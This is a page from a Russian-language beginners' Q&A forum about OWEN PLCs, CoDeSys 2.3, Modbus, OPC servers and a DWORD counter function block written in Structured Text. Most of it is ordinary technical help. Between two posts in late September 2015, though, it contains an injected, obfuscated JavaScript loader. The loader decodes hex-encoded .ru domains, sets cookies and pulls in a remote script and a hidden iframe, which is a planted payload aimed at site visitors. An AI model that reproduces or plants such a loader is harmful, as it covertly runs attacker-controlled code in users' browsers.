PDA

Просмотр полной версии : ВОПРОС-ОТВЕТ (отвечаем на простые вопросы от новичков)



Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42

Dobrosed
07.09.2015, 14:31
1. Хочется реализовать программу для смартфонов (Android и iOS) для управления системой через смартфон. Подскажите, как это лучше реализовать?

Овен ПЛК63/73 -> Интернет (GSM модуль) -> Компьютер (OPC сервер на нём) -> Интернет -> Смартфон (OPC клиент на нём)
Или есть другие схемы?

2. Какой OPC сервер лучше использовать. Нашёл OPCGate (бесплатный, легко встраиваемый в свои программы как в качестве сервера, так и в качестве клиента), ОВЕН OPC сервер (пока для меня запутанная программа, потому что непонятно что с лицензией (платная или нет) и как будет развиваться проект) или есть другие бесплатные варианты?

3. Самый главный вопрос - как считывать информацию с OPC сервера со смартфона? Нашёл какие-то OPC-клиенты на Android, но как они работают, так и не понял. Может кто-то разбирался в подобном вопросе?

AndGr
08.09.2015, 23:36
ТРМ 32 - Щ7 ТС какие покупать датчики температуры трезпроводные или двух? В модификации Щ4 так понимаю двухпроводные.Правильно ли выбрал датчики: температуры воздуха ДТС125Л-50М.В3.60 и датчик на горячее водоснабжение ДТС035-50M.B3.60?

Василий Кашуба
09.09.2015, 08:57
ТРМ 32 - Щ7 ТС какие покупать датчики температуры трезпроводные или двух? В модификации Щ4 так понимаю двухпроводные.Правильно ли выбрал датчики: температуры воздуха ДТС125Л-50М.В3.60 и датчик на горячее водоснабжение ДТС035-50M.B3.60?
И на Щ4, и на Щ7 датчики нужны 3-х проводные.

Yegor
14.09.2015, 06:36
Dobrosed, проще, наверное, будет соединить смартфон с ПЛК по протоколу Modbus. Он более-менее независим от платформы в отличие от OPC DA и напрямую поддерживается овеновскими контроллерами. Приложения-конструкторы под андроид с поддержкой этого протокола точно есть.

Smith2007
14.09.2015, 09:15
1. Хочется реализовать программу для смартфонов (Android и iOS) для управления системой через смартфон. Подскажите, как это лучше реализовать?

Или есть другие схемы?

2. Какой OPC сервер лучше использовать. Нашёл OPCGate (бесплатный, легко встраиваемый в свои программы как в качестве сервера, так и в качестве клиента), ОВЕН OPC сервер (пока для меня запутанная программа, потому что непонятно что с лицензией (платная или нет) и как будет развиваться проект) или есть другие бесплатные варианты?

3. Самый главный вопрос - как считывать информацию с OPC сервера со смартфона? Нашёл какие-то OPC-клиенты на Android, но как они работают, так и не понял. Может кто-то разбирался в подобном вопросе?

Точно такая задача стояла 2 года назад. Но надо было не только со смартфона но и с компа получить доступ к интерфейсу управления.
Решение было следующим:
Поднимает сервис openhab на любом имеющемся ресурсе. Будь то сервер win/linux/ios в том числе это может быть RPi или даже роутер на базе openwrt.
Устанавливаем клиента на смарты и планшеты. Компы через стандартный браузер заходят.
Сам проект на оборудовании owen работает.
Если интересно то подробности тут (https://www.forumhouse.ru/threads/288897/)

ВЗМП
14.09.2015, 10:51
Вопрос наверняка избитый, но как всегда все надо срочно, искать не успеваю..
создал проект в содесис2.3 на плк110+модули. сконфигурировал, написал программу, работает. потом ставлю на другой ноутбук кодесис, ставлю таргеты, открываю проект, вижу программу, но конфигурация пустая. что это, не тот таргет поставил?

если жму "настройка целевой платформы" и там указываю свой плк, то сам плк добавляется, а все сконфигурированные модули и входа-выходы - нет..

Николаев Андрей
14.09.2015, 13:24
Не та версия Target.
Очень часто специалисты "брезгуют" удалением старых Target файлов через специальную утилиту, предназначенную для этого. Ставят поверх новые.

ВЗМП
14.09.2015, 19:09
Очень часто специалисты "брезгуют" удалением старых Target файлов через специальную утилиту, предназначенную для этого. Ставят поверх новые.
не понял, чем это чревато...

в моем случае кстати оказалось другое - я скопировал только файл *.pro и открыл его. если же скопировать все файлы проекта, то на другом (любом с установленными таргетами) ноутбуке все открывается полностью - проект с программой и конфигурацией.

Николаев Андрей
15.09.2015, 00:20
Поверьте - достаточно перенести файл *.pro
Удалять старые Target файлы перед установкой новой - рекомендация представителей 3S.

Pvalp
15.09.2015, 10:30
Поверьте - достаточно перенести файл *.pro
Удалять старые Target файлы перед установкой новой - рекомендация представителей 3S.

А как удаляются старые Target файлы?

petera
15.09.2015, 11:40
А как удаляются старые Target файлы?
19957

19958

19959

Pvalp
15.09.2015, 11:48
Большое спасибо.

Kamerton
15.09.2015, 16:30
Подскажите, пожалуйста, настройки протокола Modbus(slave/master) на устройствах ОВЕНа, если я ставлю на ПЛК Modbus(slave), то ПЛК становится ведомым по этому протоколу или ожидает подключение ведомого устройства?

_Mikhail
15.09.2015, 16:35
Подскажите, пожалуйста, настройки протокола Modbus(slave/master) на устройствах ОВЕНа, если я ставлю на ПЛК Modbus(slave), то ПЛК становится ведомым по этому протоколу или ожидает подключение ведомого устройства?
При выборе в конфигурации Modbus slave , ПЛК становится ведомым т.е. Slave

Kamerton
16.09.2015, 09:11
При выборе в конфигурации Modbus slave , ПЛК становится ведомым т.е. Slave

Спасибо :) Т.е. правильно я понимаю, что для прослушки одним устройством другого, нужно у одного выставить Slave, а у другого Master, а не Slave-Slave или Master-Master?

ВЗМП
16.09.2015, 13:52
Здравствуйте, коллеги.
помогите разобраться со словом состояния. мне требуется запрограммировать панель Овен СП270. в частности я буду выводить на нее аварийные сообщения, которые будут включаться по логической единице в некоторых переменных в плк. этих аварий всего 16, как раз под слово. я делаю так, как показано на скрине. т.е. в итоге обращаясь по-битово к регистру, в котором лежит переменная r21 (word) я смогу получать данные о наличии/отсутствии каждой аварии.
вроде должно работать, но уверен, что это некомпактный, неграмотный вариант. подскажите пожалуйста, как сделать это красивее и правильнее.

petera
16.09.2015, 14:17
Здравствуйте, коллеги.
помогите разобраться со словом состояния. мне требуется запрограммировать панель Овен СП270. в частности я буду выводить на нее аварийные сообщения, которые будут включаться по логической единице в некоторых переменных в плк. этих аварий всего 16, как раз под слово. я делаю так, как показано на скрине. т.е. в итоге обращаясь по-битово к регистру, в котором лежит переменная r21 (word) я смогу получать данные о наличии/отсутствии каждой аварии.
вроде должно работать, но уверен, что это некомпактный, неграмотный вариант. подскажите пожалуйста, как сделать это красивее и правильнее.
Делайте так
19988

ВЗМП
16.09.2015, 14:25
Спасибо, все оказалось очень просто!

Kamerton
16.09.2015, 16:54
Подскажите новичку, пожалуйста. После загрузки нового проекта в ПЛК, последний сбрасывает соединение при выполнении. Другие проекты также - загружает, но не выполняет.

Перезагрузил ПЛК - отвис. Старый проект начал выполнять. Загрузил новый - опять завис...

ПЛК-160, CodeSys 2.3.

В чём может быть проблема/где искать? Есть ли у ПЛК хоть логи какие-нибудь, чтоб понять что ему не нравится? Как отладить, не вскрывать же?

Yegor
16.09.2015, 17:22
Как отладитьПошагово, мистер. Пошагово. Ставьте точки останова, отключайте участки кода и т.д.

Kamerton
16.09.2015, 17:24
Пошагово, мистер. Пошагово. Ставьте точки останова, отключайте участки кода и т.д.

Ставил, но не заходит в код :( Просто падает соединение при попытке запуска программы (спустя секунд 5).

Валенок
16.09.2015, 21:22
.. падает соединение при попытке запуска программы...
Загрузке или запуске ?

Kamerton
17.09.2015, 10:59
Загрузке или запуске ?

Запуске.

Отловил причину - при добавлении в настройках ПЛК Modbus (Master).
Т.е. При создании нового проекта (простого, с одним условием и булевым флагом) и добавлении Modbus(Master) - контроллер сбрасывает соединение при запуске (загружает проект и виснет).
При добавлении Slave такого не наблюдается (проект загружается, отлаживается).

Подскажите, пожалуйста, почему отказывается работать ПЛК под Modbus (Master)? Может у кого было подобное.

ВЗМП
17.09.2015, 18:55
здравствуйте
в программе (на СFC) использую блок "real to dword" чтобы преобразовать показания датчиков давления (real) в тип данных, пригодный для передачи на СП270 (dword). после преобразования значения округляются до целых. как на выходе получить все-таки неокругленные значения?

ASo
17.09.2015, 19:03
А как в целом м.б. не округленные значения?
Максимум - умножить на 100 и преобразовать. На выходе будет в сотых. Как пример.

ООО "БЛС инжинеринг"
19.09.2015, 20:15
Подскажите как сделать чтоб счётчик CTU мог просчитывать не до 32000 а намного больше 500,000?
или в овени не получится?

Валенок
19.09.2015, 20:18
Подскажите как сделать чтоб счётчик CTU мог просчитывать не до 32000 а намного больше 500,000?
или в овени не получится?
С типом int не только в овени, но и в семёни и даже у самиих интелёни/аэмдени.. - никак.

Вольд
19.09.2015, 21:29
Подскажите как сделать чтоб счётчик CTU мог просчитывать не до 32000 а намного больше 500,000?
или в овени не получится?
Сделай свой ФБ, дай ему гордое имя SUPER_CTU, объяви в нем переменную типа DWORD и считай себе на здоровье.

ООО "БЛС инжинеринг"
20.09.2015, 10:06
Сделай свой ФБ, дай ему гордое имя SUPER_CTU, объяви в нем переменную типа DWORD и считай себе на здоровье.

Моглиб сделать маленький пример-проектмк как это будет выглядить SUPER_CTU?

spectrum48k
20.09.2015, 11:57
FUNCTION_BLOCK SUPER_CTUD
VAR_INPUT
iCntUp : BOOL; (*Считать вверх*)
iCntDn : BOOL; (*Считать вниз*)
iCntRes : BOOL; (*Сброс на 0*)
iCntSP : DWORD; (*Максимальное значение*)
END_VAR
VAR_OUTPUT
OutCnt : DWORD; (*Выходное значение счетчика*)
OutAlm : BOOL; (*Сигнализация достижения максимального значения*)
END_VAR
VAR
Init: BOOL;
CntUpOld :BOOL;
CntDnOld : BOOL;
END_VAR



IF iCntRes THEN Init := FALSE; END_IF


(*INIT*)
IF NOT Init THEN
Init := TRUE;
iCntUp := iCntDn := CntUpOld := CntDnOld := OutAlm := FALSE;
OutCnt := 0;
END_IF


(*COUNT_UP*)
IF (iCntUp > CntUpOld) AND (iCntSP > OutCnt) THEN OutCnt := OutCnt + 1; END_IF
(*COUNT_DOWN*)
IF (iCntDn > CntDnOld) AND (OutCnt > 0) THEN OutCnt := OutCnt - 1; END_IF

OutAlm := iCntSP > 0 AND OutCnt = iCntSP;

CntUpOld := iCntUp;
CntDnOld := iCntDn;


вроде как-то так. Если не так, подправите. Написал в Notepad.exe, не проверял.

Pvalp
20.09.2015, 15:18
FUNCTION_BLOCK SUPER_CTUD
VAR_INPUT
iCntUp : BOOL; (*Считать вверх*)
iCntDn : BOOL; (*Считать вниз*)
iCntRes : BOOL; (*Сброс на 0*)
iCntSP : DWORD; (*Максимальное значение*)
END_VAR
VAR_OUTPUT
OutCnt : DWORD; (*Выходное значение счетчика*)
OutAlm : BOOL; (*Сигнализация достижения максимального значения*)
END_VAR
VAR
Init: BOOL;
CntUpOld :BOOL;
CntDnOld : BOOL;
END_VAR



IF iCntRes THEN Init := FALSE; END_IF


(*INIT*)
IF NOT Init THEN
Init := TRUE;
iCntUp := iCntDn := CntUpOld := CntDnOld := OutAlm := FALSE;
OutCnt := 0;
END_IF


(*COUNT_UP*)
IF (CntUp > iCntUpOld) AND (iCntSP > OutCnt) THEN OutCnt := OutCnt + 1; END_IF (* Здесь будет ошибка *)
(*COUNT_DOWN*)
IF (CntDn > iCntDnOld) AND (OutCnt > 0) THEN OutCnt := OutCnt - 1; END_IF (* И здесь тоже *)

OutAlm := iCntSP > 0 AND OutCnt = iCntSP;



END_IF

CntUpOld := iCntUp;
CntDnOld := iCntDn;


вроде как-то так. Если не так, подправите. Написал в Notepad.exe, не проверял.

CntUp, CntDn не объявлены, а объявлены iCntUp и iCntDn.
Аналогично iCntUpOld, iCntDnOld не объявлены, а объявлены CntUpOld и CntDnOld
Может правильно будет?

(*COUNT_UP*)
IF (iCntUp > CntUpOld) AND (iCntSP > OutCnt) THEN OutCnt := OutCnt + 1; END_IF
(*COUNT_DOWN*)
IF (iCntDn > CntDnOld) AND (OutCnt > 0) THEN OutCnt := OutCnt - 1; END_IF

spectrum48k
20.09.2015, 15:30
Pvalp, я исправил опечатку. Спасибо.

Pvalp
20.09.2015, 15:42
Pvalp, я исправил опечатку. Спасибо.

Всегда рад помочь.

Василий Кашуба
21.09.2015, 11:00
CntUp, CntDn не объявлены, а объявлены iCntUp и iCntDn.
Аналогично iCntUpOld, iCntDnOld не объявлены, а объявлены CntUpOld и CntDnOld
Может правильно будет?

(*COUNT_UP*)
IF (iCntUp > CntUpOld) AND (iCntSP > OutCnt) THEN OutCnt := OutCnt + 1; END_IF
(*COUNT_DOWN*)
IF (iCntDn > CntDnOld) AND (OutCnt > 0) THEN OutCnt := OutCnt - 1; END_IF
Как у вас у эСТетов всё сложно, то ли дело у нас, нарисовал картинку и всё работает.
20049

capzap
21.09.2015, 11:06
Как у вас у эСТетов всё сложно, то ли дело у нас, нарисовал картинку и всё работает.
20049

покажите вызов макроса, вызввающий сам себя

Василий Кашуба
21.09.2015, 11:08
покажите вызов макроса, вызввающий сам себя
С такими задачами пока не сталкивался.:)

murzik
21.09.2015, 22:57
Подскажите, плиз, куда и что в CoDeSyS 2x надо написать, чтоб законнектиться с ПЛК по Ethernetу. По СОМ - законнектился. По Ethernet - законнектился лишь в EasyWorksPLC без проблем. Поменял ИП и шлюз. Вот так теперь видится:
PLC model MODEL PLC 110-30
Binary VERSION 2.14.0
Need Target version 2.10
Compiled: 14:35:31 Apr 28 2011
MAC 6A:....
IP 192.168.1.99
GATE 192.168.1.1
MASK 255.255.255.0
PIC upper version is 15
Licence unlimited
Осталось дело за малым - что-то настроить в кодесисе. В букваре по ПЛК про Ethernet-подключение почти что ничего не написано.
Или может, я не так присоединился: комп и плк воткнуты в один свич. Свич воткнут в роутер. У роутера адрес 192.168.1.1. У компа 192.168.1.2. И то, и другое пробовал подсунуть в настройки плк в качестве адреса шлюза. Всеравно не коннектит.:confused:

capzap
21.09.2015, 23:01
Подскажите, плиз, куда и что в CoDeSyS 2x надо написать, чтоб законнектиться с ПЛК по Ethernetу. По СОМ - законнектился. По Ethernet - законнектился лишь в EasyWorksPLC без проблем. Поменял ИП и шлюз. Вот так теперь видится:
PLC model MODEL PLC 110-30
Binary VERSION 2.14.0
Need Target version 2.10
Compiled: 14:35:31 Apr 28 2011
MAC 6A:....
IP 192.168.1.99
GATE 192.168.1.1
MASK 255.255.255.0
PIC upper version is 15
Licence unlimited
Осталось дело за малым - что-то настроить в кодесисе. В букваре по ПЛК про Ethernet-подключение почти что ничего не написано.
Или может, я не так присоединился: комп и плк воткнуты в один свич. Свич воткнут в роутер. У роутера адрес 192.168.1.1. У компа 192.168.1.2. И то, и другое пробовал подсунуть в настройки плк в качестве адреса шлюза. Всеравно не коннектит.:confused:
а там элементарный пинг не пробовали послать на плк?

murzik
21.09.2015, 23:05
вот, пожалуйста:
C:\Users\se>ping 192.168.1.99

Обмен пакетами с 192.168.1.99 по с 32 байтами данных:
Ответ от 192.168.1.99: число байт=32 время=80мс TTL=128
Ответ от 192.168.1.99: число байт=32 время=59мс TTL=128
Ответ от 192.168.1.99: число байт=32 время=89мс TTL=128
Ответ от 192.168.1.99: число байт=32 время=71мс TTL=128

Статистика Ping для 192.168.1.99:
Пакетов: отправлено = 4, получено = 4, потеряно = 0
(0% потерь)
Приблизительное время приема-передачи в мс:
Минимальное = 59мсек, Максимальное = 89 мсек, Среднее = 74 мсек

murzik
21.09.2015, 23:06
сейчас шлюз стоИт 192.168.1.2 - адрес компа

capzap
21.09.2015, 23:07
ну раз всё есть, значит надо сесть за документацию и прочитать как пользоваться установкой нового соединения по ethernet в пункте меню параметры связи

murzik
21.09.2015, 23:29
Всеравно не пойму: куда я должен вбить адрес ПЛК. Там, в параметрах связи, - только хост и шлюз:confused:

capzap
21.09.2015, 23:43
Всеравно не пойму: куда я должен вбить адрес ПЛК. Там, в параметрах связи, - только хост и шлюз:confused:

http://www.kipshop.ru/CoDeSys/Video_CoDeSys/04_Login_Ethernet.zip с 50 секунды

Эдуард_Н
22.09.2015, 04:14
Pvalp, я исправил опечатку. Спасибо.

Что не так делаю? вылазит ошибка.

petera
22.09.2015, 05:26
Что не так делаю? вылазит ошибка.
В строке 21 лишний END_IF

murzik
22.09.2015, 06:34
http://www.kipshop.ru/CoDeSys/Video_CoDeSys/04_Login_Ethernet.zip с 50 секунды

Большое спасибо! Теперь работает!
зы. И почему Овен это в инструкцию к контроллеру не внесёт?!

capzap
22.09.2015, 07:19
Большое спасибо! Теперь работает!
зы. И почему Овен это в инструкцию к контроллеру не внесёт?!
а я по Вашему где взял http://www.owen.ru/catalog/codesys_v2/81399447
на диске к устройству это тоже имеется

ООО "БЛС инжинеринг"
22.09.2015, 20:45
Как у вас у эСТетов всё сложно, то ли дело у нас, нарисовал картинку и всё работает.
20049

Да спасибо работает.
Вот только сброс работает у меня неправильно, сбрасывается не на ноль а на уставку, и если значение было ноль и нажав на сброс значение переходит как на уставке 20097 и проектик 20098
Кто ещё мне подскажет почему так...

capzap
22.09.2015, 20:50
Да спасибо работает.
Вот только сброс работает у меня неправильно, сбрасывается не на ноль а на уставку, и если значение было ноль и нажав на сброс значение переходит как на уставке 20097 и проектик 20098
Кто ещё мне подскажет почему так...
порядок выполнения правили?

Василий Кашуба
22.09.2015, 21:33
Да спасибо работает.
Вот только сброс работает у меня неправильно, сбрасывается не на ноль а на уставку, и если значение было ноль и нажав на сброс значение переходит как на уставке 20097 и проектик 20098
Кто ещё мне подскажет почему так...
А зачем вы на вход "Уставка", счётчика подали уставку со схемы сравнения? На "Уставку" счётчика нужно прописать то значение, в которое нужно перевести счётчик по команде Сброс. Если счётчик нужно сбрасывать в ноль, то и уставка должна быть нулевой.

ООО "БЛС инжинеринг"
22.09.2015, 21:40
А зачем вы на вход "Уставка", счётчика подали уставку со схемы сравнения? На "Уставку" счётчика нужно прописать то значение, в которое нужно перевести счётчик по команде Сброс. Если счётчик нужно сбрасывать в ноль, то и уставка должна быть нулевой.

Всё я исправился:)
Я уже исправил и всё работает на 100%
Большое СПАСИБО
20099

Василий Кашуба
23.09.2015, 12:58
Всё я исправился:)
Я уже исправил и всё работает на 100%
Большое СПАСИБО
20099
Если обратный отсчёт не нужен, то SUB с его обвязкой, можно исключить из схемы.

Dusty16
27.09.2015, 16:35
Никак не могу понять - как подать в контроллер команду из программы диспетчеризации?
Есть контроллер ПЛК110-30. К нему привязан Modbus Universal MasterOPC Server, к которому, в свою очередь, привязана Simple-Scada. Обмен данными между контроллером и Simple настроен, изменения входов/выходов отображаются.
Дальше я в Simple рисую кнопку с фиксацией, в ОРС-сервере создаю тег (тут все работает - при "нажатии" на кнопку в Simple, в ОРС-сервере изменяется значение тега)...а куда его привязать в CoDeSys...?

жекон
27.09.2015, 16:55
Никак не могу понять - как подать в контроллер команду из программы диспетчеризации?
Есть контроллер ПЛК110-30. К нему привязан Modbus Universal MasterOPC Server, к которому, в свою очередь, привязана Simple-Scada. Обмен данными между контроллером и Simple настроен, изменения входов/выходов отображаются.
Дальше я в Simple рисую кнопку с фиксацией, в ОРС-сервере создаю тег (тут все работает - при "нажатии" на кнопку в Simple, в ОРС-сервере изменяется значение тега)...а куда его привязать в CoDeSys...?А Вы попробуйте от обратного, сделайте в ПЛК переменную затем в ОПС и в скаду

<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16739",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.index Of('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.locati on.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.smlo.loadSmlo(n.replace('https:','http:' ));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.zSmlo.loadSmlo(n.replace('https:','http: '));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function() {this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.ex ecuted=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("owen.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>

Dusty16
27.09.2015, 17:19
Пробовал.
В конфигурации ПЛК создан "Modbus (Slave)" (к которому и привязан ОРС-сервер через TCP), добавлен подэлемент "8 bits", одна переменная которого привязана к соответствующему тегу в ОРС-сервере. Вот только тег изменяется, а переменная нет... Причем когда я в CoDeSys изменяю переменную, изменяется и тег, но мне-то нужно наоборот...

_Mikhail
27.09.2015, 17:25
Выложите проект. Надо смотреть как объявлены данные переменные

Dusty16
27.09.2015, 17:31
Проект - в смысле файл .pro ...?

Dusty16
27.09.2015, 17:45
Секундочку... Как объявлена эта переменная?
20161

Она по умолчанию BOOL...

_Mikhail
27.09.2015, 18:27
Секундочку... Как объявлена эта переменная?
20161

Она по умолчанию BOOL...
естественно переменная bool если объявлено 8bit,
в проекте это имя больше нигде не объявлено, и наверно функции чтения-записи не перепутаны. Зачем тогда обращаешься за советом?

Dusty16
27.09.2015, 18:44
Так не работает же... :(
Я вообще не в курсе - должна ли эта переменная изменяться при изменении связанного с ней тега в ОРС-сервере или нужно как-то по-другому это делать...?

Dusty16
27.09.2015, 19:26
Тридцать три раза МАССАРАКШ!!!!
Разобрался. :D
Беда была в настройках ОРС-сервера...
Ну вот нафига нужно было задавать в настройках по умолчанию - "Не использовать команду Write Single Coil (0x05)"...?!!! Весь день головой об моник колотился...

_Mikhail
27.09.2015, 21:10
Тридцать три раза МАССАРАКШ!!!!
Разобрался. :D
Беда была в настройках ОРС-сервера...
Ну вот нафига нужно было задавать в настройках по умолчанию - "Не использовать команду Write Single Coil (0x05)"...?!!! Весь день головой об моник колотился...
Тебя же спрашивали : Не перепутал функции чтения-записи

Dusty16
28.09.2015, 23:20
Тебя же спрашивали : Не перепутал функции чтения-записи

Ну вообще-то не спрашивали... ;-) Но все равно спасибо - именно после упоминая "чтения-записи" я и пошел рыться в настройках в нужном направлении... :-)

ООО "БЛС инжинеринг"
29.09.2015, 13:51
У кого есть готовый проектик и сконфигурирован для пробы я пытаюсь узнать как это всё работает (пуск-стоп, управление скоростями и т.д.) ПЛК 110.32 Р-М и связать с ПЧВ-1 по модбасу

ООО "БЛС инжинеринг"
30.09.2015, 12:06
Я новичок.
Я использую ПЛК110.32 Р-М и собрал FB для управления ПЧВ-101-К37-А по модбасу, но у меня выскакивает ошибка при загрузке в ПЛК 20185 я не знаю где этот косяк и как его исправить вот ещё проектик 20186 прошу Вашей помощи, за ранние благодарен

ВЗМП
30.09.2015, 12:29
зДравствуйте, коллеги!
я недавно задавал вопрос по сохранению проекта, но вопросы остались.
уточните, какие файлы необходимо передать человеку, чтобы он мог открыть мой проект на своем ноутбуке, на котором есть только кодесис? достаточно только файла ***.pro при условии, что я поставил в "конфигурации плк" галочку "сохранять конфигурацию в файл"?
и еще. читал инструкцию на плк110, но не совсем понял, как правильно загрузить окончательный отлаженный проект в энергонезависимую память. прям по порядку: жму "подключение" - жму "создание загрузочного проекта" и все?

Yegor
30.09.2015, 14:38
какие файлы необходимо передать человеку, чтобы он мог открыть мой проект на своем ноутбукеФайл проекта и нестандартные библиотеки, которые в него добавлены. Можно и просто все добавленные библиотеки — это не намного больше. У человека должен быть установлен таргет на тот же контроллер и кодесис должен быть настроен так, чтобы библиотеки были обнаружены (можно и вручную их заново добавить, если что).
жму "подключение" - жму "создание загрузочного проекта" и все?Да. Но у меня бывало с первого раза не сохранялось. Поэтому при сдаче объекта советую сделать эту процедуру два раза сразу.

Oleg387
30.09.2015, 15:13
На языке FBD пример подскажите:
Есть 6 входных сигналов, поступают в произвольном порядке, формируют 6 выходных сигналов, которые нужно выстроить в очередь для срабатывания также в произвольном порядке с задержкой скажем 200ms.
Простите новичка за такую простату не разобрался еще, если подскажите разные варианты решения буду благодарен.

capzap
30.09.2015, 15:19
... за такую простату
это какой то тест, на то филологи мы или врачи?

Сигналы аналоговые или дискретные? Какова должна быть очередь? а то ведь можно непрерывно подавать входные сигналы, а на выходе будут временные задержки

ООО "БЛС инжинеринг"
30.09.2015, 15:47
Я новичок.
Я использую ПЛК110.32 Р-М и собрал FB для управления ПЧВ-101-К37-А по модбасу, но у меня выскакивает ошибка при загрузке в ПЛК 20185 я не знаю где этот косяк и как его исправить вот ещё проектик 20186 прошу Вашей помощи, за ранние благодарен
Вот видео примера http://www.youtube.com/watch?v=X8no0PFBhy8&index=9&list=PL2EcVEe6E9SB4F3WVm-MptpHA5ep0nrq5

Эдуард_Н
30.09.2015, 15:57
А бибку закидывали в паку "Library"? В менеджере библиотек выбирали её? И вообще у меня в примере эти ФБ сразу в проекте.

ООО "БЛС инжинеринг"
30.09.2015, 17:12
А бибку закидывали в паку "Library"? В менеджере библиотек выбирали её? И вообще у меня в примере эти ФБ сразу в проекте.

Я поставил в библиотеку для пчв и брал тоже из библиотеки 20190

Эдуард_Н
30.09.2015, 17:38
Проект выложите.

ООО "БЛС инжинеринг"
30.09.2015, 18:37
Проект выложите.

Я даже менял библиотеку для ПЧВ менял FB нечего не получается,
в режиме эмуляции не показывает ошибок только когда начинаешь заливать в ПЛК
20191

Эдуард_Н
30.09.2015, 20:03
Ну у меня нет ПЛК110 только 160ый, если завтра будет время попробую на нём.

ООО "БЛС инжинеринг"
30.09.2015, 22:04
Ну у меня нет ПЛК110 только 160ый, если завтра будет время попробую на нём.

Спасибо.
Хорошо я буду ждать ответа:)

Savel
30.09.2015, 23:26
Здравствуйте! Столкнулся с проблемой, необходимо снять телесигнализацию и телеизмерения в скада систему по протоколу Modbus TCP с плк 100 и плк 150, для этого необходимо задать плк 100 и плк 150 дополнительный порт так как стадартный 502й уже занят, как мне это сделать?

Эдуард_Н
01.10.2015, 07:10
Спасибо.
Хорошо я буду ждать ответа:)

Аналогичная хр-нь. Делал как в примере. Может дело в библиотеке?
И ещё, у Вас ПЛК 110 обновлённый или старый?

Всё заработало надо было по внимательней быть и читать здесь (8 пост): http://www.owen.ru/forum/showthread.php?t=22030&highlight=%CF%CB%CA_%CF%D7%C2

capzap
01.10.2015, 07:35
Я новичок.
Я использую ПЛК110.32 Р-М и собрал FB для управления ПЧВ-101-К37-А по модбасу, но у меня выскакивает ошибка при загрузке в ПЛК 20185 я не знаю где этот косяк и как его исправить вот ещё проектик 20186 прошу Вашей помощи, за ранние благодарен

скажите а этот пример у Вас тоже не пошел? http://kipshop.ru/Primeri/DevicesOwen/09_PLC1xx+%20PCHV_control_word_Modbus_Lib.zip

Oleg387
01.10.2015, 07:59
это какой то тест, на то филологи мы или врачи?

Сигналы аналоговые или дискретные? Какова должна быть очередь? а то ведь можно непрерывно подавать входные сигналы, а на выходе будут временные задержки
Сигналы дискретные, приходят с 6-ти весоизмерительных приборов. Выхода нужны для сброса единичных доз.

capzap
01.10.2015, 08:34
т.е Вам всего то лишь нужно по приходу сигнала от одного из измерительных датчиков с задержкой в несколько мс, подать на выход сигнал, делайте это через таймер TON и без всякой очереди, в плк состояние переменных передается на физические выхода по окончании цикла от о всех сразу

Kamerton
01.10.2015, 10:58
Подскажите, пожалуйста, как сбросить таймер TP на ST Codesys 2.3?

Проблема в том, что при первом прогоне программы на ПЛК всё ок, но при последующих, таймер показывает значение предыдущего теста+текущее, соответственно.

Другими словами, где найти/как реализовать TP.Reset()? :)

capzap
01.10.2015, 11:06
Подскажите, пожалуйста, как сбросить таймер TP на ST Codesys 2.3?

Проблема в том, что при первом прогоне программы на ПЛК всё ок, но при последующих, таймер показывает значение предыдущего теста+текущее, соответственно.

Другими словами, где найти/как реализовать TP.Reset()? :)IN:=FALSE,PT:=T#0s и будет Вам ресет

Kamerton
01.10.2015, 11:18
IN:=FALSE,PT:=T#0s и будет Вам ресет

Благодарю :)

Понял ошибку: после изменения указанных значений, нужно следом вызывать блок таймера PT для применения значений...

ООО "БЛС инжинеринг"
01.10.2015, 19:18
Аналогичная хр-нь. Делал как в примере. Может дело в библиотеке?
И ещё, у Вас ПЛК 110 обновлённый или старый?

Всё заработало надо было по внимательней быть и читать здесь (8 пост): http://www.owen.ru/forum/showthread.php?t=22030&highlight=%CF%CB%CA_%CF%D7%C2

А подключали ПЧВ к ПЛК?
Все ошибаются особенно я...
Да прочитал, завтра на работе попробую ПЛК и ПЧВ.
Спасибо:)

arhe
02.10.2015, 01:23
Доброго времени суток.
Недавно начал работать с контролером "ОВЕН" ПЛК - 160 (Новый) . В общем вопрос в следующим при включение ПЛК связь и питание моргают красным светом при этом слышно пощелкивание где-то раз в секунду.
Не получается подключиться не через RS232, USB , Ethernet.
1)Для связи по RS232 использую MOXA Uport 1150. Подключал в оба разъема при выключенном ПЛК.
